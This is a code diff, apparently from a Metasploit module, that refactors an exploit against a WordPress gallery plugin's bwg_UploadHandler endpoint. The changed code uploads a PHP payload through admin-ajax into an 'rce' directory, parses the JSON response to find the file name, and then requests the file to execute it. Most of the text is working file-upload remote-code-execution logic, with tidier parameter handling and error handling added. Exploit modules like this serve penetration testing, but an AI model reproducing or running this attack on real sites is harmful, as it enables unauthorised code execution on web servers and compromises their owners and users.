@@ -76,41 +76,45 @@ def exploit
76
76
77
77
print_status ( "#{ peer } - Preparing payload..." )
78
78
payload_name = Rex ::Text . rand_text_alpha ( 10 )
79
- uploader_url = normalize_uri ( wordpress_url_admin_ajax , '?action=bwg_UploadHandler&dir=rce/' )
80
79
data = generate_mime_message ( payload , payload_name )
81
80
82
81
print_status ( "#{ peer } - Uploading payload..." )
83
82
res = send_request_cgi (
84
- 'method' => 'POST' ,
85
- 'uri' => uploader_url ,
86
- 'ctype' => "multipart/form-data; boundary=#{ data . bound } " ,
87
- 'data' => data . to_s ,
88
- 'cookie' => cookie
83
+ 'method' => 'POST' ,
84
+ 'uri' => wordpress_url_admin_ajax ,
85
+ 'vars_get' => { 'action' => 'bwg_UploadHandler' , 'dir' => 'rce/' } ,
86
+ 'ctype' => "multipart/form-data; boundary=#{ data . bound } " ,
87
+ 'data' => data . to_s ,
88
+ 'cookie' => cookie
89
89
)
90
90
91
91
fail_with ( Failure ::Unreachable , 'No response from the target' ) if res . nil?
92
- vprint_error ( " #{ peer } - Server responded with status code #{ res . code } ") if res . code != 200
92
+ fail_with ( Failure :: UnexpectedReply , " Server responded with status code #{ res . code } ") if res . code != 200
93
93
print_good ( "#{ peer } - Uploaded the payload" )
94
94
95
95
print_status ( "#{ peer } - Parsing server response..." )
96
- json = JSON . parse ( res . body )
97
- if json . nil? || !json [ 'files' ]
98
- fail_with ( Failure ::UnexpectedReply , 'Unable to parse the server response' )
99
- else
100
- uploaded_name = json [ 'files' ] [ 0 ] [ 'name' ] [ 0 ..-5 ]
101
- php_file_name = "#{ uploaded_name } .php"
102
- payload_url = normalize_uri ( wordpress_url_backend , 'rce' , uploaded_name , php_file_name )
103
- print_good ( "#{ peer } - Parsed response" )
96
+ begin
97
+ json = JSON . parse ( res . body )
98
+ if json . nil? || json [ 'files' ] . nil? || json [ 'files' ] [ 0 ] . nil? || json [ 'files' ] [ 0 ] [ 'name' ] . nil?
99
+ fail_with ( Failure ::UnexpectedReply , 'Unable to parse the server response' )
100
+ else
101
+ uploaded_name = json [ 'files' ] [ 0 ] [ 'name' ] [ 0 ..-5 ]
102
+ php_file_name = "#{ uploaded_name } .php"
103
+ payload_url = normalize_uri ( wordpress_url_backend , 'rce' , uploaded_name , php_file_name )
104
+ print_good ( "#{ peer } - Parsed response" )
104
105
105
- register_files_for_cleanup ( php_file_name )
106
- register_files_for_cleanup ( "../#{ uploaded_name } .zip" )
107
- print_status ( "#{ peer } - Executing the payload at #{ payload_url } " )
108
- send_request_cgi (
109
- {
110
- 'uri' => payload_url ,
111
- 'method' => 'GET'
112
- } , 5 )
113
- print_good ( "#{ peer } - Executed payload" )
106
+ register_files_for_cleanup ( php_file_name )
107
+ register_files_for_cleanup ( "../#{ uploaded_name } .zip" )
108
+ print_status ( "#{ peer } - Executing the payload at #{ payload_url } " )
109
+ send_request_cgi (
110
+ {
111
+ 'uri' => payload_url ,
112
+ 'method' => 'GET'
113
+ } , 5 )
114
+ print_good ( "#{ peer } - Executed payload" )
115
+ end
116
+ rescue
117
+ fail_with ( Failure ::UnexpectedReply , 'Unable to parse the server response' )
114
118
end
115
119
end
116
120
end
0 commit comments